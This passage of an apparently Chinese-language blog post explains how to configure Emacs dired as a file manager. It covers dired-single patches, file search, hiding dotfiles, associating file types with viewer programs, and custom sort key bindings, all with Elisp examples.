  (define-key dired-mode-map (kbd "<mouse-1>") 'joc-dired-single-buffer-mouse)
  (define-key dired-mode-map (kbd "^")
  (lambda ()
  (interactive)
  (joc-dired-single-buffer "..")))
  (setq joc-dired-use-magic-buffer t)
  (setq joc-dired-magic-buffer-name "*dired*")))
(global-set-key (kbd "C-x d")
  'joc-dired-magic-buffer)

但是由于 dired-single 的实现方法的原因,现在不能在 .. 上回车跳到上一级 目录了,不过这不是什么大问题,可以使用 ^ 键直接跳到上一级目录。但是如 果觉得不爽,可以把这个 patch 打到 dired-single.el 上去以修复这个问题:
*** dired-single.el 2006-10-02 23:47:52.000000000 +0800
--- dired-single.el.new 2006-10-03 14:19:42.000000000 +0800
***************
*** 244,250 ****
  its name will not change every time a new directory is entered)."
  (interactive)
  ;; use arg passed in or find name of current line
! (let ((name (or default-dirname (dired-get-filename))))
  (save-excursion
  (save-match-data
  ;; See if the selection is a directory or not.
--- 244,250 ----
  its name will not change every time a new directory is entered)."
  (interactive)
  ;; use arg passed in or find name of current line
! (let ((name (or default-dirname (dired-get-file-for-visit))))
  (save-excursion
  (save-match-data
  ;; See if the selection is a directory or not.

另外, dired-single.el 是根据 dired 列出的文件类型那个 d 来判断是否是 目录的,这样对于处理软链接的目录就不行了,我们可以使用 Emacs 提供的 file-directory-p 来判断,这个函数会跟踪软链接,只要把这个 patch 打到 dired-single.el 上就可以解决这个问题:
*** dired-single.el 2006-10-05 11:17:06.000000000 +0800
--- dired-single.el.new 2006-10-05 11:17:06.000000000 +0800
***************
*** 252,258 ****
  (let ((eol (point)))
  (beginning-of-line)
  ;; assume directory if arg passed in
! (if (or default-dirname (re-search-forward "^ d" eol t))
  ;; save current buffer's name
  (let ((current-buffer-name (buffer-name)))
  ;; go ahead and read in the directory
--- 252,258 ----
  (let ((eol (point)))
  (beginning-of-line)
  ;; assume directory if arg passed in
! (if (or default-dirname (file-directory-p name))
  ;; save current buffer's name
  (let ((current-buffer-name (buffer-name)))
  ;; go ahead and read in the directory
跳转到当前 buffer 对应文件所在目录
使用 dired-x.el

dired-x.el 提供了两个函数可以用于跳转到当前 buffer 所对应的文件的目录:
(define-key global-map (kbd "C-x C-j") 'dired-jump)
(define-key global-map (kbd "C-x 4 C-j") 'dired-jump-other-window)
使用 dired-single.el

既然 dired-single.el 可以让 dired 使用单一的 buffer ,并随时方便跳转到 那个 buffer ,我们也可以稍微扩展一下让它能做到跳转到当前 buffer 说对应 的文件的目录。
(global-set-key (kbd "C-x d")
  'joc-dired-magic-buffer)
(global-set-key (kbd "C-x 4 d")
  (lambda (directory)
  (interactive "D")
  (let ((win-list (window-list)))
  (when (null (cdr win-list)) ; only one window
  (split-window-vertically))
  (other-window 1)
  (joc-dired-magic-buffer directory))))
快速定位到某个文件
使用 dired-details.el 和 dired-details+.el

这两个扩展提供把 dired buffer 里面除了文件名以外的其他信息隐藏起来的功 能,隐藏起来之后可以做普通的 i-search ,就能达到只搜索文件的功能。
使用 dired-view.el

dired-view.el 提供一个方便的功能,在打开 dired-view-minor-mode 之后, 可以输入文件名的首字母快速定位到文件。通常这个 minor-mode 并不是一直打 开,事实上,他是重新定义了所有的字母以及数字键说绑定的函数,所以如果文 件名是中文的话也没有办法,而且按键会和 dired 本身的很多按键冲突,于是 他提供了方便的打开和关闭的函数:
(require 'dired-view)
(define-key dired-mode-map (kbd ";") 'dired-view-minor-mode-toggle)
使用 dired-isearch.el

dired-isearch.el 让你能够在 dired 里面使用只对文件名部分执行 i-search ,非常方便:
(require 'dired-isearch)
(define-key dired-mode-map (kbd "C-s") 'dired-isearch-forward)
(define-key dired-mode-map (kbd "C-r") 'dired-isearch-backward)
(define-key dired-mode-map (kbd "M-C-s") 'dired-isearch-forward-regexp)
(define-key dired-mode-map (kbd "M-C-r") 'dired-isearch-backward-regexp)

可是这个东西并不能和 dired+.el 共同工作,默认情况下,dired 在文件显示 的地方可以用鼠标进行点击,而 dired-isearch.el 也正是依靠这个进行判断 的,可是 dired+.el 让整行都处于可用鼠标点击进行操作(事实上, dired+.el 提供了很强大的鼠标操作功能,例如,可以像常见的文件管理器那样区域选择、 用 Shift 加鼠标来选择以及用 Ctrl 加鼠标来选择等), dired-isearch.el 的 方法就不管用了,不过其实只要一点小小的改动,把 dired-isearch.el 里面的 所有的 help-echo 改为 dired-filename 就可以正常使用了。
忽略不感兴趣的文件
使用 dired-x.el

dired-x.el 允许忽略不感兴趣的文件,不让他们显示出来,并且可以使用 M-o 来方便地切换忽略与显示。有两个变量可以控制究竟忽略哪些文件:
dired-omit-files 是一个正则表达式,凡是匹配这个正则表达式的文件就会 被忽略掉,默认情况下会忽略自动保存的文件(以 # 开头),当前目录和父目 录(也就是 . 和 .. )。
dired-omit-extensions 是一个字符串列表,凡是文件名结尾是这个列表中 的某一个的时就会被忽略。

我通常把 dired-omit-files 设置为 "^#\|^\..*" ,这样可以忽略掉以 . 开 头的文件,在 Linux 下面这通常表示隐藏文件, ls 默认情况下也不会显示他 们,而且主目录下面通常有一大堆这样的文件,显示出来看起来非常恐怖。
(add-hook 'dired-mode-hook
  (lambda ()
  (setq dired-omit-files "^#\|^\..*") ; omit all hidden file which starts with `.'
  (dired-omit-mode 1))) ; initially omit unintrested files
使用 dired+.el

事实上 dired+.el 这里提供了用一种“让你觉得不重要”的颜色来显示不感兴趣的 文件的功能,他们由 dired-omit-extensions 和 completion-ignored-extensions 这两个变量来控制。

以合适的程序打开文件

在 Windows 上,文件相关联的程序都是在系统那里注册了的,可以直接执行相 关程序而不用自己再去定义关联列表。我没有在 Windows 下用这个,所以没有 办法做什么测试,也不多说,EmacsWiki 上有比较详细的介绍。这里我说一下几 种在 Linux 下实现使用关联的程序打开文件的方法,都是需要自己定义关联关 系的,因为 Linux 下并没有统一的关联程序的标准,而且,如果只是使用 dired 作为文件管理器的话,自己定义一些自己最常用的关联关系也是很方便的。
使用 dired-x.el

dired-x.el 提供猜测 shell command 的功能,在某一个文件上按 ! , dired-x.el 会把猜测的命令在方括号中显示出来,可以直接回车执行,也可 以用 M-p 来取得默认命令,并进行适当的编辑再执行,如果有几个可选的默认 命令,可以用 M-p 、 M-n 来进行轮换选择。

dired-x.el 根据 dired-guess-shell-alist-default 变量里面定义的命令来进 行猜测,另外还有一个 dired-guess-shell-alist-user 用于自定义猜测的命 令,这里面的命令会覆盖掉 dired-guess-shell-alist-default 里面的命令。

这个变量是一个列表,表的每一项格式为 (REGEXP COMMAND ...) ,其中每一个 COMMAND 都可以是一个字符串或者是一个可以求值得到一个字符串的 Elisp 表 达式。在字符串里面如果有 * 出现则会被替换成文件名,另外,也可以直接在 Elisp 表达式里面使用 file 这个变量,查看 dired-guess-shell-alist-default 就可以得到很多例子,例如:
("\.t\(ar\.\)?gz$"
 (concat "mkdir "
  (file-name-sans-extension file)
  "; " dired-guess-shell-gnutar " -C "
  (file-name-sans-extension file)
  " -zxvf")
 (concat "mkdir "
  (file-name-sans-extension file)
  "; gunzip -qc * | tar -C "
  (file-name-sans-extension file)
  " -xvf -"))

不足的地方是只能对单个文件进行猜测,如果 mark 了一堆文件的话,这个功能 就不太好用了。

另外,对于 X 下的应用程序,我们通常不希望它把 Emacs 阻塞掉,而是同步执 行,只需要在末尾加上 & 即可同步执行,同时 Emacs 会收集程序输出,例如:
("\.[rR][mM]\(?:[vV][bB]\)?" "mplayer * &")

可是有些程序的输出含有很多终端控制字符,mplayer 就是一个例子,我在这样 运行 mplayer 的时候显得十分卡,我想可能是输出被 Emacs 捕获到 buffer 里 面的原因。这些输出本身就没有什么用,如果还会让程序运行缓慢的话,就更可 恶了。

一个办法是直接在 shell 命令那里下手,例如:
("\.[rR][mM]\(?:[vV][bB]\)?" "mplayer * >/dev/null 2>&1 &")

就不会因为大量输出而阻塞了,不过这样仍然会打开一个空的叫做 *Async Shell Command* 的 buffer 。另外一个办法是修改代码,把所有以 & 结尾的 后台程序的输出都直接丢弃掉。
(defadvice dired-run-shell-command (around kid-dired-run-shell-command (command))
  "run a shell command COMMAND .
If the COMMAND ends with `&' then run it in background and *discard* the
output, otherwise simply let the original `dired-run-shell-command' run it."
  (if (string-match "&[[:blank:]]*$" command)
  (let ((proc (start-process "kid-shell" nil shell-file-name
  shell-command-switch
  (substring command 0 (match-beginning 0)))))
  (set-process-sentinel proc 'shell-command-sentinel))
  ad-do-it))
(ad-activate 'dired-run-shell-command)

这个缺点就是所有以 & 结尾的程序的输出都直接被丢弃了,但是我觉得几乎这 样的程序输出都是不需要的,而且常规的文件管理器也通常都直接丢弃这些输出 吧。如果实在是不愿意,可以另外定义一种语法(比如末尾是 &! 的才丢弃输出) 并修改那个函数里面相应的匹配的正则表达式就可以了。

另外,其实有许多不同的类型的文件使用相同的命令打开,可以把他们归到一组 (例如,各种 video 文件都用 mplayer 打开),但是 dired-x.el 并不提供这个 功能,所以我写了一个宏来从“表面”上实现这个功能:
(defmacro kid-dired-define-assoc-group (patterns actions &optional name)
  "define an assoc entry to help dired guess the shell command.
PATTERN is a list of regexps used to match the filename.
NAME is a list of string or expression which eval to a string
to denote what shell command to execute. Optional NAME is
the name of this group , just for documentation purpose."
  (let ((item (gensym)))
  `(dolist (,item ',patterns)
  (setq dired-guess-shell-alist-user
  (cons (list ,item ,@actions) dired-guess-shell-alist-user)))))

(add-hook 'dired-load-hook
  (lambda ()
  (setq dired-guess-shell-alist-user nil)
  (kid-dired-define-assoc-group
  ("rm" "rmvb" "RM" "RMVB" "avi" "mpg" "mpeg")
  ("mplayer * &")
  video)
  (kid-dired-define-assoc-group
  ("pdf" "PDF")
  ("acroread * &" "xpdf * &")
  pdf-document)
  (kid-dired-define-assoc-group
  ("png" "jpg" "jpeg" "gif")
  ("xloadimage * &" "gqview * &")
  image)
  (kid-dired-define-assoc-group
  ("chm" "CHM")
  ("xchm * &")
  chm-document)
  (kid-dired-define-assoc-group
  ("html" "HTML" "htm" "HTML")
  ("firefox * &"))))
使用 run-assoc.el

事实上这个功能非常简单,同样是定义一个关联列表,比 dired-x.el 要简单, 而且也不够灵活。EmacsWiki 上有相关介绍。
使用 trivial-mode.el

trivial-mode.el 允许你定义一个 "trivial mode" ,并把他添加到 auto-mode-alist 里面去,比如,定义了一个所有 pdf 文件用 xpdf 打开的 trivial mode ,那么当在 Emacs 里面打开 pdf 的时候会自动调用 xpdf 打开 这个文件。当然这个扩展可以完全独立于 dired 而使用,还是比较方便的。

排序

方便的排序功能自然是一个好的文件管理器所比不可少的了。
使用 dired-sort-menu.el 和 dired-sort-menu+.el

dired-sort-menu.el 提供了强大的排序功能,可以按照名称、修改时间、访问时 间、大小、扩展名等进行排序,还可以逆序排序和递归排序。同时,它还提供了 一个菜单以及一个对话框(使用 Emacs 的 widget 库来实现的,就是说,在终端 下面也是可以用的)来选择排序功能。可以使用 C-d 来打开这个对话框,或者用 Shift+mouse-2 来打开弹出菜单选择排序项目。 dired-sort-menu+.el 对 dired-sort-menu.el 做了一定的修改。
自己对 dired 进行扩展

我们可以通过 dired-sort-other 给 ls 程序传递参数来达到排序的目的, gnu 的 ls 程序有很多选项可用: [tSXUucrR] 。

我们这里使用 dired 提供的 dired-sort-other 来调用 gnu ls 来进行排序, 为了方便记忆,我覆盖掉 dired 的 s 键(原本用于切换按照时间还是文件名进 行排序),作为一个前缀,然后后面的键着直接对应于 ls 的相关参数,例如 s X 则是对扩展名进行排序。另外,还定义了两个开关, s r 用于打开或关闭逆 序排序,而 s R 用于打开或关闭递归排序。
(defmacro kid-dired-define-sort (key switch)
  "define the key `s KEY' to sort use switch to ls."
  `(define-key dired-mode-map ,(concat "s" key)
  (lambda ()
  (interactive)
  (dired-sort-other (concat dired-listing-switches
  ,switch
  (if kid-dired-sort-reverse
  "r"
  "")
  (if kid-dired-sort-recursive
  "R"
  ""))))))
(defmacro kid-dired-define-toggle (key var)
  `(define-key dired-mode-map ,(concat "s" key)
  (lambda ()
  (interactive)
  (setq ,var (not ,var))
  (message "%s %s."
  (get ',var 'variable-documentation)
  (if ,var
  "enabled"
  "disabled")))))
(add-hook 'dired-mode-hook
  (lambda ()
  ;; dired use `s' to switch sort by name/time, we undefine it so
  ;; that it can be used as prefix
  (define-key dired-mode-map
  (kbd "s")
  nil)
  (defvar kid-dired-sort-reverse nil
  "sort reversely")
  (defvar kid-dired-sort-recursive nil
  "sort recursively")
  (kid-dired-define-sort "X" "X")
  (kid-dired-define-sort "t" "t")
  (kid-dired-define-sort "S" "S")
  (kid-dired-define-sort "U" "U")
  (kid-dired-define-sort "u" "ut") ; sort by access time
  (kid-dired-define-sort "c" "ct") ; sort by ctime
  (kid-dired-define-sort "n" "") ; sort by name :)
  (kid-dired-define-toggle "r" kid-dired-sort-reverse)
  (kid-dired-define-toggle "R" kid-dired-sort-recursive)))
使用 dired 自身的功能

我是在作了那个扩展之后才知道 dired 自己就有这个功能的,都怪自己不仔细 看文档,导致了重复劳动! C-u s 就可以编辑 dired 的 dired-listing-switches 这个变量,从而达到控制排序的方法的目的。


博客归档